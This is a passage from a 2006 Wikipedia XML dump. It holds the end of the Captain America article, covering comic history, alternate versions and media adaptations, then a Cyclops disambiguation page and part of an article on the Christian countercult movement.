Captain America was once again given his own series (now in its fifth incarnation), which has lasted decades longer than its original run.  The book initially enjoyed the artwork of Jack Kirby as well as a short run by [[Jim Steranko]], and many of the industry's top artists and writers have worked on the book. It was in a storyline during the book's initial series that Rogers met and trained an [[African American]], Sam Wilson, who became the superhero known as the [[Falcon (comics)|Falcon]]. The Falcon was one of the few black superheroes in comic books at that time, and it began a long association between the two characters that has continued to the present day.

[[Image:CaptainAmericaV1-180.jpg|thumb|left|200px|Cover to ''Captain America'' #180 (Dec. 1974). Captain America assumes the &quot;Nomad&quot; identity. Art by [[Gil Kane]].]]
The most notable stories often had a political tone to them. For example, during [[Steve Englehart]]'s stint as writer, Rogers encountered his revived 1950s counterpart and dealt with the Marvel Universe's version of the [[Watergate scandal]].  This last story so severely disillusioned Rogers that he abandoned his Captain America identity in favour of one called [[Nomad (comics)|Nomad]] only to reassume it to face the menace of the [[Red Skull]], this time as a symbol of America's ideals rather than its government.
During this time, several men tried to assume the Captain America identity, all without success.  Jack Monroe, cured of his mental instability, would, years later, take up the Nomad alias. (''Captain America'' #176&amp;ndash;#183, 1974&amp;ndash;1975). For a time before and during this period, Rogers also gained (temporarily as it turned out) super strength.

====1980s====
In the 1980s, in a story written by [[Mark Gruenwald]], Rogers chose to resign his identity rather than submit to the orders of the United States government and took the alias of &quot;The Captain&quot; instead.  This extended story arc was intended to illustrate the difference of Captain America's beliefs from his replacement who was intended to illustrate the jingoistic attitude that the popular movie character [[Rambo]] embodied and which Rogers did not share.  During this period, the role of Captain America was assumed by John Walker, the former Super-Patriot.  When Rogers returned to his Captain America identity, Walker became the [[John Walker (comics)|USAgent]] (''Captain America'' #332&amp;ndash;#351, 1987&amp;ndash;1989).

====1990s====
Some time after returning to the position of Captain America, Rogers narrowly avoided the explosion of a [[methamphetamine]] lab, but it triggered a chemical reaction between the drug and the Super-Soldier serum in his system. To combat this reaction, the serum was removed from his system, and now Rogers had to train constantly to maintain his physical condition. The storyline was partly prompted by reader concerns that Captain America was effectively the beneficiary of [[steroid]] treatments. A [[retcon]] was then introduced to establish that the serum was not a drug, because if it were, Rogers' body would have metabolized it out of his system some time ago. It was revealed that the &quot;serum&quot; was in fact a virus that had affected a biochemical and genetic change, explaining how the Red Skull (who now inhabited a body [[cloning|cloned]] from Rogers' cells) also had the formula in his body.

However, because of his altered biochemistry which took the form of the &quot;serum&quot; in his blood work, Rogers's body began to deteriorate due to overuse of the &quot;serum&quot;. For a time, he had to wear a powered [[exoskeleton]] to keep moving and eventually had to be placed again in suspended animation.  During this time, he was given a transfusion of blood from the Red Skull, which cured his condition and stabilized the Super-Soldier serum/virus in his system.  Captain America returned both to crime fighting and the Avengers (''Captain America'' #425&amp;ndash; 454, 1994&amp;ndash;1996).

====2000s====
Eventually, Rogers went public with his identity again, and established a residence in the [[Red Hook, Brooklyn|Red Hook]] neighborhood of [[Brooklyn, New York]]. He discovered that Bucky was brought back to life and used by Russians, as the [[Bucky#Winter Soldier|Winter Soldier]].

==Powers and abilities==
Rogers in the regular Marvel Universe has no superhuman powers. However, as a result of the Super-Soldier serum, he was transformed from a frail young man into a &quot;nearly perfect&quot; specimen of human development and conditioning, making him able to lift (press) 800 lbs over his head with extreme effort. He has also been depicted curling 500 lbs numerous times in a workout routine. Captain America is as strong, fast, agile, and durable as it is possible for a human being to be without being considered superhuman. The formula enhances all of his metabolic functions and also prevents the build-up of fatigue poisons in his muscles, giving him endurance far in excess of an ordinary human being.

Mentally, his battle experience and training has also made him an expert tactician and an excellent field commander, with his teammates frequently deferring to his orders in battle.  Rogers's reflexes and senses are also extraordinarily keen.  He has mastered [[boxing]], [[jiu jitsu]] and [[judo]], combined with his virtually superhuman gymnastic ability into his own unique fighting style. Years of practice with using his indestructible shield has made it practically an extension of his own body, and he is able to aim and throw it with almost unerring accuracy and [[ricochet]] the shield to hit multiple targets; all told, he is one of the finest hand-to-hand combatants in the Marvel Universe.

===Weapons and equipment===
Captain America has used [[Captain America's shield|many shields]] over the years, the most traditional of which is an indestructible [[discus]]-shaped shield made from a vibranium/steel alloy. This alloy was accidentally created and never duplicated, although efforts to reverse engineer it resulted in the creation of [[adamantium (comics)|adamantium]].

His costume is made of a fire-retardant material.  He also wears a light weight &quot;duralumin&quot; [[chainmail]] beneath his costume for added protection. As a member of the Avengers, Rogers has his Avengers priority card, which also serves as a communications device, on his person at all times.

==Alternate Captain Americas==
===Ultimate Captain America===
The [[Ultimate Marvel Universe]] version of Captain America has superpowers, is more reactionary than his counterpart and is more prone to violent solutions as well as morally old-fashioned. 

In this version, Steve Rogers was a frail volunteer who underwent months of steroid treatment, surgery, and the Super-Soldier formula to become Captain America. Bucky was a childhood friend who followed him on his missions as a photographer and not a costumed sidekick. Rogers' last mission as Captain America sent him deep into [[Nazi Germany]] to stop a prototype hydrogen bomb created with alien technology. He caused the rocket carrying the bomb to explode, but fell into the freezing cold Arctic Ocean; rather than die from [[hypothermia]], Rogers fell into [[suspended animation]] until a fishing trawler pulled him out of the water 57 years later. Bucky survived the war, and, thinking that Rogers had been killed in action, married Rogers' fiancée, Gail. 

Rogers became one of the first members of the [[Ultimates]], S.H.I.E.L.D.'s answer to battle [[Posthuman (Human evolution)|posthuman]] [[terrorism]]. He began adjusting to life in the 21st century, although he still longed for older times and values, spending much time with Bucky and Gail (now senior citizens) as well as going to WWII veterans' reunions. Recently, events made it appear that Captain America was the one who had repeatedly betrayed the team over the course of the past year. The real traitor has since been revealed to be [[Ultimate Black Widow|the Black Widow]].

Rogers is at least as skilled in combat as his [[Earth-616]] counterpart. In addition, his strength is superhuman rather than just at peak human levels. In the Ultimate Universe, Bruce Banner became the [[Ultimate Hulk|Hulk]] as a result of his experiments to recreate the Super-Soldier serum. Despite the Hulk being one of the strongest characters in the Ultimate Universe, Rogers was able to defeat Banner in hand-to-hand combat, bringing the Hulk down and out of the fight for a moment.  In addition, Rogers was also able to defeat [[Henry Pym]] in melee combat while Pym was in his Giant Man form, a size almost 60 feet high.

===Others===

*In the ''[[Spider-Ham]]'' comic books, the funny animal version of Captain America is Steve Mouser, an anthropomorphic cat that works for the Daily Beagle, who is also secretly Captain Americat. 
*In a recent ''[[House of M]]'' crossover issue, another alternate Steve Rogers was featured, one who lived through World War II and was not frozen. 
*In the [[Mutant X (comics)|Mutant X]] universe, Captain America joined [[Havok| Havok's]] team of superheroes called '''The Six''' in order to protect mutants from a deranged [[Nick Fury]] and [[SHIELD]]. He was '''not''' Steve Rogers, but his successor and, in fact, was a mutant. This version was killed after a re-awakend [[Beyonder]] attempted to infuse his body with enormous amounts of energy.
*Most infamous perhaps, was [[Rob Liefeld]]'s disastrous take on the character as part of the [[Heroes Reborn]] event.
*Other alternate Captain Americas include several seen in issues of ''[[What If (comics)|What If]]'', a comic featuring tales of alternate realities.

==Appearances in other media==
===Movies===
[[Image:Captainamerica2.jpg|250px|right|thumb|[[Matt Salinger]] playing Captain America in the 1991 movie]]
A 1944 movie [[serial]] called ''Captain America'' portrayed the hero as a district attorney named Grant Gardner and arbitrarily removed many other important elements of the character, such as his shield and his sidekick, Bucky. The 1966 syndicated [[animated TV series]] ''Marvel Super-Heroes'' included &quot;Captain America&quot; segments. The primitive animation was largely composed of stills photostatted from Jack Kirby art. 

A direct-to-video movie, ''Captain America'' (1991), starring [[Matt Salinger]], earned highly negative reviews. It depicted the hero's battle against the [[Red Skull]], who in the film was an [[Italy|Italian]] [[fascism|fascist]] rather than a German [[Nazi]]. Rumours of a new Captain America movie have circulated since 2005, but have thus far not produced anything concrete. 

In 2005 [[Variety]] reported that Marvel Comics had announced the formation of Marvel Entertainment, a business entity dedicated to film adaptations of Marvel Comics properties.  Coinciding with the announcement was a list of Marvel properties being developed for production by the company's new film arm to be released through partnership with [[Paramount Pictures]]; that list included Captain America.  Other properties specifically named in the press announcement are: [[the Avengers]], [[Nick Fury]], [[Black Panther]], [[Ant-Man]], [[Cloak and Dagger (comics)|Cloak and Dagger]], [[Dr. Strange]], [[Hawkeye]], Power Pack, and Shang-Chi.  Budgets for each film are expected to be between $45 million and $180 million.  The first picture under the arrangement is slated for release by 2008.

According to a news report circulated by the [[Associated Press]] and other major wire services, actor [[Rikki Lee Travolta]] turned down a contract to take over for [[Pierce Brosnan]] in the role of [[James Bond]] because he was expected to sign to play Captain America in a new film adaptation.[http://www.contactmusic.com/new/xmlfeed.nsf/mndwebpages/travolta%20i%20turned%20down%20bond] Subsequent news reports repeat the story that Travolta is in negotiations to play Captain America. However, neither Travolta nor Marvel has yet released any statement on the matter.[http://www.slashfilm.com/article.php/20051031103412243]

===Television===
[[Image:Captainamerica1.gif|180px|right|thumb|Reb Brown as Captain America (1979, TV)]]
Captain America was featured in the 1970s in two live-action television movies, ''Captain America'' and ''Captain America II: Death Too Soon'' starring Reb Brown. The character was slightly different than the comics, both in his origin and his operations. Besides his shield, this Captain America also made significant use of a specialized van and motorcycle which was memorable for its ability to operate silently.
&lt;br clear=&quot;all&quot;&gt;
====Animation====
Captain America was one of several Marvel Comics characters which were portrayed in animation in the late 1960s. Captain America’s show even had a theme song, which included the lyrics:
:''When Captain America throws his mighty shield,
:''All those who chose to oppose his shield must yield.
The Captain America character also made two appearances in the 1980s animated series ''[[Spider-Man and His Amazing Friends]]'', in the episodes &quot;7 Little Superheroes&quot; and &quot;Pawns of the Kingpin&quot;. He also appeared in one episode of the syndicated ''Spider-Man'' series, where he and [[Spider-Man]] fought the Red Skull. Captain America appeared in the fifth season of the ''[[X-Men Animated Series|X-Men]]'' animated series to fend off Nazis as a fellow soldier and friend of Wolverine  in the episode &quot;Old Soldiers&quot;.

Captain America appeared in the 1990s ''[[Spider-Man]]'' [[animated television series]], in the &quot;Six Forgotten Warriors&quot; and &quot;Secret Wars&quot; story arcs. In this version, while the original formula was lost, scientists were able to create five similar doses, which were given to five other Americans.  The formula, being imperfect, gave them all slightly different abilities and was also temporary.  The other five could turn off their powers using special rings, to keep from wasting them.  The six fought together in World War II, until Captain America and the Red Skull are trapped in an extra-dimensional stasis device, eternally fighting until they are briefly released.

Captain America (along with [[Nick Fury]]) also made an appearance in the animated series ''[[X-Men: Evolution]]''. In the episode &quot;Operation Rebirth&quot;, Rogers got his abilities from a machine used as part of &quot;Project: Rebirth&quot;.  During World War II, he participated in a joint operation with a Canadian soldier named [[Wolverine (comics)|Logan]] to liberate a [[concentration camp]].  One of the prisoners was a boy named Erik Lehnsherr.  After the attack, it was revealed that the ''Rebirth'' process was killing Rogers, so he and Logan destroyed the machine and Rogers was cryogenically frozen until a cure could be found.  Lehnsherr would grow up to become [[Magneto (comics)|Magneto]] and acquire a duplicate of the Rebirth technology, having discovered it could be used safely on mutants to prolong their life and vitality. The duplicate technology was destroyed by Wolverine, [[Rogue (comics)|Rogue]], and [[Nightcrawler (comics)|Nightcrawler]].

The Ultimate Marvel version of Captain America is featured among other heroes in an animated straight-to-video series, ''[[Ultimate Avengers]]'', the first installment of which was released in February 2006.

===Novels===
Captain America has also appeared in several (prose) novels, notably 1998's ''Captain America: Liberty's Torch'' by [[Tony Isabella]] and [[Bob Ingersoll]], in which the hero is put on trial for the imagined crimes of America by a hostile militia group.

===Computer games===
{{wikibooks|Fighting Game Moves/Capcom/C_America}}
[[Image:Cap.gif|thumb|120px|[[Capcom]] fighting game version]]
Captain America has appeared in several [[Computer and video games|video games]]. He was one of four [[playable character]]s in ''[[Captain America and the Avengers]]'' (1991). He later appeared in [[Capcom]]'s ''[[Marvel Super-Heroes (video game)|Marvel Super-Heroes]]'' and the subsequent [[Marvel vs. Capcom series]], as well as ''Maximum Carnage'' and ''Marvel Super Heroes: War of the Gems''.

===Musical Theatre===
In 1985, a musical about Captain America was announced for Broadway.  The piece, written by Mel Mandel and Norman Sachs, never actually premiered, although recordings of the score have surfaced.  ([http://select.nytimes.com/gst/abstract.html?res=F10714FD395C0C768CDDAD0894DD484D81&amp;n=Top%2fReference%2fTimes%20Topics%2fPeople%2fN%2fNemy%2c%20Enid Citation at New York Times - article requires payment or registration])

===Pop culture references===
====Music====
The phrase &quot;Captain America&quot; has been used to refer ironically to American patriotic values, especially in [[rock music]]. 
*The 1978 [[Kinks]] song &quot;Catch Me Now, I'm Falling&quot;, about the ailing U.S. economy in the late 1970s, refers to &quot;Captain America calling&quot;. 
*[[Jam band]] [[moe.]] composed a song called &quot;Captain America&quot; which deals with Captain America as an authority figure. 
*[[Jimmy Buffett]] recorded a song in 1977 titled &quot;Captain America,&quot; offering a tongue-in-cheek tribute to the hero, replete with a [[kazoo]] solo and the phrase, &quot;He wears a mask, his clothes are weird, and some folks call him hokey. But he is hip, he just can't dig the [[Oklahoma|Okie]] from [[Muskogee, Oklahoma|Muskogee]].&quot; 
*The [[Guns N' Roses]]' song &quot;[[Paradise City]]&quot; also contains a reference to Captain America (&quot;''Captain America's been torn apart...''&quot;). 
*The ''[[Roadrunner United]]'' album features a song titled &quot;I Don't Wanna Be (A Superhero)&quot; which contains the line, &quot;They came from sea and they from the sky, Captain America is going to die.&quot;
*The 2003 album ''[[Cyclorama]]'' by the rock band [[Styx]] features a song called &quot;Captain America&quot;

====Literature====
*Early ''[[Doonesbury]]'' strips have [[Zonker Harris]] referring sardonically to [[B.D.]], captain of the football team on which they both play, as &quot;Cap'n America sir!&quot;

*The [[United States Marine Corps|Marine]] Recon unit in [[Evan Wright]]'s 2005 nonfiction bestseller ''[[Generation Kill]]'' derisively referred to their overzealous commander as Captain America. 

====Cinema====
*[[Peter Fonda]]'s character in the iconic 1969 feature film ''[[Easy Rider]]'' was nicknamed Captain America. According to the &quot;making of&quot; feature on the [[DVD]] edition of the film, director [[Dennis Hopper]] described the two motorcyclists of the film to actor [[Robert Walker, Jr.]], who said &quot;they sound like Captain American and Bucky&quot;, and Hopper liked the name. 

*In the 1997 film ''[[Men in Black (film)|Men in Black]]'', [[Will Smith]]'s character refers to an overzealous Army lieutenant as &quot;Captain America&quot;. 

*In ''[[Armageddon (film)|Armageddon]]'', an overzealous military man is referred to as &quot;Captain America&quot;. 

====Other====
*In Britain, [[United States men's national soccer team|United States soccer captain]] [[Claudio Reyna]] is often referred to as Captain America.
*UFC Light Heavyweight fighter [[Randy Couture]] recently used the nickname &quot;Captain America&quot;.
*In the ''[[Hellboy]]'' comics, there are two heroes who use something of the Captain America archetype. The first is the Torch of Liberty, who fought Nazis and monsters during World War II, and taught Hellboy how to use a pistol. The second is Lobster Johnson, who ''also'' fought Nazi agents and the supernatural, but before World War II. The major difference between the two heroes is that the Torch was a public hero, and Johnson was officially secret. A series of black &amp; white films were made during and after the war to [[government conspiracy|cover this up]].

==Appearances in comic books==
{{expand_list}}
*''Captain America Comics'' #1&amp;ndash;75 by Joe Simon and Jack Kirby (March 1941&amp;ndash;February 1950)
*''USA Comics'' #6&amp;ndash;17 (December 1942&amp;ndash;Fall 1945)
*''Captain America Comics'' #76&amp;ndash;78 (May 1954&amp;ndash;September 1954)
*''[[Tales of Suspense]]'' #59&amp;ndash;99 (November 1964&amp;ndash;March 1968)
*''Captain America'' ([[1968 in comics|1968]] series) #100&amp;ndash;454 (April 1968&amp;ndash;August [[1996 in comics|1996]])
*''Giant-Size Captain America'' (December [[1975 in comics|1975]])
*''Marvel Treasury Special: Captain America's Bicentennial Battles'' (June 1976)
*''[[Marvel Fanfare]]'' (1982 series) #5, 18, 26, 29, 31&amp;ndash;32
*''What If...'' ([[1984 in comics|1984]] series) #5, 26, 38, 44 
*''What If...'' ([[1989 in comics|1989]] series) #3, 28&amp;ndash;29, 67&amp;ndash;68, 103
*''What If...'' ([[2006 in comics|2006]] #1), &quot;What if Captain America had lived in the American Civil War?&quot; 
*''Adventures of Captain America - Sentinel of Liberty'' ([[1991 in comics|1991]] series) #1&amp;ndash;4 (October [[1991 in comics|1991]]&amp;ndash;January [[1992 in comics|1992]])
*''Captain America: The Medusa Effect'' (March [[1994 in comics|1994]])
*''Captain America: Drug War'' (April 1994)
*''Captain America'' (1996 series) #1&amp;ndash;13 (November 1996&amp;ndash;November [[1997 in comics|1997]])
*''Captain America'' ([[1998 in comics|1998]] series) #1&amp;ndash;50 (January 1998&amp;ndash;February [[2002 in comics|2002]])
*''Captain America Sentinel of Liberty'' (1998 series) #1&amp;ndash;12 (September 1998&amp;ndash;August [[1999 in comics|1999]])
*''Captain America: Dead Men Running'' (2002 series) #1&amp;ndash;3 (March 2002&amp;ndash;May 2002)
*''Captain America'' (2002 series) #1&amp;ndash;32 (June 2002&amp;ndash;October [[2004 in comics|2004]])
*''Truth: Red, White and Black'' by Robert Morales and Kyle Baker ([[2003 in comics|2003]] series) #1&amp;ndash;7
*''Captain America: What Price Glory?'' (2003 series) #1&amp;ndash;4 (May 2003)
*''Captain America &amp; The Falcon'' (2004 series) #1&amp;ndash;14 (April 2004&amp;ndash;)
*''Captain America'' by Ed Brubaker and Steve Epting (2004 series) #1&amp;ndash;15 (November 2004&amp;ndash;current series)
*''Marvel Team-Up'' #6, 10 by Robert Kirkman and Scott Kolins (2005&amp;ndash;current series)
*''Marvel Team-Up'' #14 by Robert Kirkman and Cory Walker (2005&amp;ndash;current series)
*''New Avengers'' #1&amp;ndash;16 by Brian Michael Bendis and David Finch (2005 series)

==See also==
* [[List of actors who have played superheroes]]

==External links==
* [http://www.medinnus.com/winghead/index.html Star-Spangled Site]
** Star-Spangled Site's [http://www.medinnus.com/winghead/shield_faq.html Captain America Shield FAQ]
* [http://www.marveldatabase.com/wiki/index.php/Captain_America_%28Steve_Rogers%29 Captain America (Steve Rogers)] - A bio at the Marvel Database
* [http://www.marveldirectory.com/individuals/c/captainamerica.htm Captain America] - A bio at the Marvel Directory
* [http://www.historyguy.com/comicshistory/captain_america.html Comicshistory: Captain America] - A brief bio of the Star-Spangled Avenger
* [http://www.Captain-America.us Captain America Fan Site] Movie discussion, wallpaper, news, and comic book covers.

[[Category:Avengers members]]
[[Category:Defenders members]]
[[Category:Fictional Americans]]
[[Category:Fictional World War II veterans]]
[[Category:Invaders members]]
[[Category:Marvel Comics titles]]
[[Category:Ultimates members]]
[[Category:World War II fictional beings]]
[[Category:Fictional supersoldiers]]
[[Category:Fictional captains|America]]

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[[es:Capitán América]]
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[[he:קפטן אמריקה]]
[[it:Capitan America]]
[[pt:Capitão América]]
[[sv:Captain America]]</text>
    </revision>
  </page>
  <page>
    <title>Cyclops (disambiguation)</title>
    <id>7730</id>
    <revision>
      <id>41296290</id>
      <timestamp>2006-02-26T10:09:57Z</timestamp>
      <contributor>
        <username>Raul654</username>
        <id>21013</id>
      </contributor>
      <text xml:space="preserve">A '''[[Cyclops]]''' is a one-eyed monster in Greek mythology.

'''Cyclops''' may also mean:
* [[Cyclops (comics)]], a comic book superhero in the Marvel Comics universe
* [[Cyclops (rock)]], a type of agate found in Mexico
* [[Cyclops (play)]], an ancient Greek play by Euripides
* [[Cyclops (computer system)]], an automated line-calling system in tennis
* [[List of Mighty Morphin Power Rangers monsters#Cyclops|Cyclops]], a fictional monster in the television series ''Mighty Morphin Power Rangers''
* [[USS Cyclops]], the name of two ships in the United States Navy
* [[Project Cyclops]], a 1971 NASA proposal for construction of an Earth-based radio telescope array 
* [[Cyclopia]], a fetal abnormality in which the eyes are partially or completely fused
* CP-10-Z ''Cyclops'', a [[BattleMech]] in the science-fiction universe of ''Battletech''

'''Cyclops''' may also be:
* A genus of [[water flea]]
* A comic poem by ancient Greek poet [[Philoxenus of Cythera]]
* A character in the animated television series ''[[Xiaolin Showdown]]''
* A fictional organisation in David Brin's novel ''[[The Postman]]''
* [[Cyclops64]], a supercomputer architecture being developed by IBM. 

{{disambiguation}}
[[ja:サイクロプス]]</text>
    </revision>
  </page>
  <page>
    <title>Christian countercult movement</title>
    <id>7731</id>
    <revision>
      <id>39132919</id>
      <timestamp>2006-02-10T22:45:50Z</timestamp>
      <contributor>
        <username>RJB</username>
        <id>115226</id>
      </contributor>
      <minor />
      <comment>/* Precursors &amp; pioneers */</comment>
      <text xml:space="preserve">The '''Christian countercult movement''', also known as '''discernment ministries''' is the collective designation for many mostly unrelated [[religious ministry|ministries]] and individual [[Christian]]s who oppose non-mainstream Christian and non-Christian religious groups, which they often call [[cult]]s.  Motivation for this movement is usually based in doctrinal and theological reasons, and it often with a [[mission|missionary]] or [[apologetics|apologetic]] purpose. Protagonists often come from an [[Evangelicalism|Evangelical]] or [[Fundamentalism|fundamentalist]] background, although some are former members of non-mainstream groups. While a considerable proportion of those who identify with the Christian countercult are [[Protestantism|Protestant]] Evangelicals, there are also [[Roman Catholic]], [[Eastern Orthodox]] and [[Ancient Oriental Orthodox]] groups critical of cults.

The Christian countercult movement with its emphases on apologetics and evangelism does not constitute the totality of concerns which many Christians have about cult practices. Some Christians share similar concerns to those of the secular [[anti-cult movement]].

==History==
===Precursors &amp; pioneers===
Christians have applied theological criteria to assess the teachings of non-orthodox movements throughout church history. In the Protestant traditions some of the earliest writings opposing unorthodox groups like Swedenborg's teachings, can be traced back to [[John Wesley]], [[Alexander Campbell (Restoration movement)]] and [[Princeton Theological Seminary|Princeton]] theologians like [[Charles Hodge]] and [[Benjamin Breckinridge Warfield]]. The first known usage of the term &quot;cult&quot; by a Protestant apologist to denote a group is heretical or unorthodox is in ''Anti-Christian Cults'' by A. H. Barrington, published in [[1898]]. 

Quite a few of the pioneering apologists were [[Baptist]] pastors, like I. M. Haldeman, or participants in the [[Brethren]], like William Irvine and Sydney Watson. Watson wrote a series of didactic novels like ''Escaped from the Snare:Christian Science'', ''Bewitched by Spiritualism'', and ''The Gilded Lie'', as warnings of the dangers posed by cultic groups. Watson's use of fiction to counter the cults has been repeated by later novelists like [[Frank Peretti]].

The early twentieth century apologists generally applied the words &quot;[[heresy]]&quot; and &quot;[[sect]]s&quot; to groups like the [[Christadelphians]], [[Mormon]]s, [[Spiritualism|Spiritualists]], and [[Theosophy]]. This was reflected in several chapters contributed to the multi-volume work released in [[1915]] ''The Fundamentals'', where apologists criticised the teachings of [[Charles Taze Russell]], [[Mary Baker Eddy]] ([[Christian Science]]), the [[Mormons]] and Spiritualists.

===Mid-20th century apologists===
Since at least the [[1940s]], the approach of traditional Christians was to apply the meaning of ''cult'' such that it included those religious groups who use other scriptures beside the Bible or have teachings and practices deviating from traditional Christian teachings and practices. Some examples of sources (with published dates where known) that documented this approach are:

* ''The Missionary Faces Isms'', by John C. Mattes, pub. [[1937]] (Board of American Missions of the [[United Lutheran Church]]).		
* ''Heresies Ancient and Modern'', by J.Oswald Sanders, pub.[[1948]] (Marshall Morgan &amp; Scott, London/Zondervan, Grand Rapids).	
* ''Cults and Isms'', by J.Oswald Sanders, pub.1962, 1969, 1980 (Arrowsmith), ISBN 0551004584.	
* ''The Chaos of Cults'', by J.K.van Baalen, pub. 1938, 1944, 1960, 1962 (Eerdmans)	
* ''Heresies Exposed'', by W.C.Irvine, pub. 1921, 1975 (Loizeaux Brothers).	
* ''Confusion of Tongues'', by C.W.Ferguson, pub. 1928 (Doran &amp; Co).	
* ''Isms New and Old'', by Julius Bodensieck.	
* ''Some Latter-Day Religions'', by G.H.Combs.

One of the first prominent countercult apologists was [[Jan Karel van Baalen]] ([[1890]]-[[1968]]), an ordained minister in the [[Christian Reformed Church in North America]]. His book, ''The Chaos of Cults'', which was first published in 1938, became a classic in the field.

===Walter Martin===
Historically, one of the most important protagonists of the movement was [[Walter Martin]] (1928-89), whose numerous books include the [[1955]] ''The Rise of the Cults: An Introductory Guide to the Non-Christian Cults'' and the [[1965]] ''The Kingdom of the Cults: An Analysis of Major Cult Systems in the Present Christian Era'', which continues to be influential. He became well known in conservative Christian circles through a radio program, &quot;The Bible Answer Man&quot;, currently hosted by [[Hank Hanegraaff]].

In his 1955 book, Martin gave the following definition of a cult:

:&quot;By cultism we mean the adherence to doctrines which are pointedly contradictory to orthodox Christianity and which yet claim the distinction of either tracing their origin to orthodox sources or of being in essential harmony with those sources. Cultism, in short, is any major deviation from orthodox Christianity relative to the cardinal doctrines of the Christian faith.&quot;

As Martin's definition suggests, the countercult ministries concentrate on non-traditional groups that claim to be Christian, so chief targets have been the [[Church of Jesus Christ of Latter-day Saints]], [[Jehovah's Witnesses]], [[Church of Christ, Scientist|Christian Science]] and the [[Unification Church]], but also smaller groups like the [[Swedenborgian Church]]

Various other conservative Christian leaders&amp;mdash;among them [[John Ankerberg]] and [[Norman Geisler]]&amp;mdash;have emphasized themes similar to Martin's.  Perhaps more importantly, numerous other well-known conservative Christian leaders as well as many conservative pastors have accepted Martin's definition of a cult as well as his understanding of the groups to which he gave that label. (Compare this definition with ''[[heresy]]''.)

== Other technical terminology ==
Since the [[1980s]] the term &quot;new religions&quot; or &quot;[[new religious movements]]&quot; has slowly entered into Evangelical usage, alongside the word &quot;cult&quot;. Some book titles use both terms. 

The acceptance of these alternatives to the word &quot;cult&quot; in Evangelicalism reflects, in part, the wider usage of such language in the [[sociology of religion]]. However, there is no unanimity about whether these terms are synonyms.

== &quot;Countercult apologetics&quot; as accepted term ==
The term &quot;countercult [[apologetic]]s&quot; first appeared in Protestant Evangelical literature as a self-designation in the late [[1970s]] and early 1980s in articles by [[Ronald Enroth]] and David Fetcho, and by Walter Martin in ''Martin Speaks Out on the Cults''. A mid-1980s debate about apologetic methodology between Ronald Enroth and J. Gordon Melton, led the latter to place more emphasis in his publications on differentiating the Christian countercult from the secular anti-cult. Eric Pement urged Melton to adopt the label &quot;Christian countercult&quot;, and since the early 1990s the terms has entered into popular usage and is recognised by sociologists such as Douglas Cowan.

The only existing umbrella organization within the countercult movement in the USA is the [[EMNR]] (Evangelical Ministries to New Religions) founded in 1982 which has the evangelical [[Lausanne Covenant]] as governing document and which stresses mission, scholarship, accountability and networking.

== Countercult outside the USA ==
While the greatest number of countercult ministries is found in the United States of America, ministries exist in [[Australia]], [[Brazil]], [[Canada]], [[Denmark]], [[England]], [[Germany]], [[Italy]], [[New Zealand]], [[Russia]] and [[Sweden]]. A comparison between the methods employed in the USA and other nations discloses some similarities in emphasis, but also other nuances in emphasis. The similarities are that globally these ministries share a common concern about the evangelisation of people in cults and new religions. There is also often a common thread of comparing orthodox doctrines and biblical passages with the teachings of the groups under examination. However, in some of the European and southern hemisphere contexts, confrontational methods of engagement are not always relied on, and dialogical approaches are sometimes advocated.

==Contextual missiology==
The phenomena of cults has also entered into the discourses of Christian missions and theology of religions. An initial step in this direction occurred in 1980 when the Lausanne Committee for World Evangelization convened a mini-consultation in Thailand. From that consultation a position paper was produced [http://www.lausanne.org/Brix?pageID=14647''&quot;The Thailand Report on New Religious Movements&quot;'']. The issue was revisited at the Lausanne Forum in 2004 with another paper [http://www.lausanne.org/lcwe/assets/LOP45_IG16.pdf''&quot;Religious and Non-Religious Spirituality in the Western World&quot;'']. The latter paper adopts a different methodology to that advocated in 1980. 

In the [[1990s]] discussions in academic missions and theological journals indicate that another trajectory is emerging which reflects the influence of contextual missions theory. Advocates of this approach maintain that apologetics as a tool needs to be retained, but do not favour a confrontational style of engagement. Instead, by combining insights from missions theory, a cross-cultural approach to dialogue, proclamation and conversion is applied in outreach.  

==Apologetic nuances and models==
Countercult apologetics has several nuances and methods employed in analysing and responding to cults. The different nuances in countercult apologetics have been discussed by John Saliba and Philip Johnson. 

The dominant method is the emphasis on detecting unorthodox or heretical doctrines and contrasting those with the Bible and early creedal documents. Some apologists, such as [[Francis J. Beckwith]], have emphasised a philosophical approach, pointing out logical, epistemological and metaphysical problems within the teachings of a particular group. Another approach involves former members of cultic groups recounting their spiritual autobiographies, which highlight experiences of disenchantment with the group, unanswered questions and doubts about commitment to the group, culminating in the person's conversion to Evangelical Christianity.

Pop apologists like [[Dave Hunt]] in ''Peace, Prosperity and the Coming Holocaust'' and [[Hal Lindsey]] in ''The Terminal Generation'' have tended to interpret the phenomena of cults as part of the burgeoning evidence of signs that Christ's Second Advent is close at hand. Both Hunt, and [[Constance Cumbey]], have applied a conspiracy model to interpreting the emergence of New Age spirituality and linking that to speculations about fulfilled prophecies heralding Christ's reappearance.

Other apologists like [[Bob Larson]] blend an understanding of cults as heresies with a strongly nuanced emphasis on Satan as the energising power behind the growth of cults. This theme has been portrayed in the anti-New Age novels by [[Frank Peretti]] (''This Present Darkness'' and ''Piercing the Darkness'')where demonic forces empower practitioners of New Age groups while Christians engage in spiritual warfare tactics of prayer and exorcisms to counter the groups.

Today there exist many and very diverse countercult ministries and authors including everything between scholars and soapbox preachers and there is no overall agreement regarding which groups are part of traditional Christianity. 

Some Protestants classify [[Catholicism|Catholic]], [[Eastern Orthodox Churches|Eastern-orthodox]], [[Seventh-day_Adventist_Church|Seventh-day Adventist]] or [[Pentecostal]] churches as cults, because they allegedly have non-Biblical teachings.

Others speak out mainly against current non-Christian groups or trends in society like the [[New Age]] movement, the popularity of [[Harry Potter]] books or [[Halloween]].

Some ministries, often led by former members, target single groups like Jehovah's Witnesses or Mormons.

==Prominent protagonists in the Christian countercult movement==

===People===
* [[Hank Hanegraaff]] is the successor to [[Walter Martin]] on the radio and in CRI.  He has continued the work of Martin; he also speaks out against [[Oneness Pentecostalism]], [[Word of Faith]] ministries, and other similar movements.
* [[Norman Geisler]]
* [[Douglas Groothuis]]
* [[Anton Hein]] [http://apologeticsindex.com] targets many groups from a Christian point of view. His Apologetics Index also operates a weblog, the [http://www.religionnewsblog.com Religion News Blog]. 
* [[J. P. Moreland]], Biola University
* [[Richard Abanes]] [http://www.abanes.com/]
* [[Walter Martin]] [http://www.waltermartin.org] was the host of the [[Bible Answer Man]] radio broadcast and the president of the Christian Research Institute.  He often gave Biblical and logical arguments against [[Jehovah's Witnesses]], [[Mormons]], and other cultic and [[occult]]ic movements.

===Organizations===
*Answers in Action [http://www.answers.org], Bob and Gretchen Passantino
*Apologia report [http://apologia.gospelcom.net//], maintaining also a professional mailing list for apologetic resources
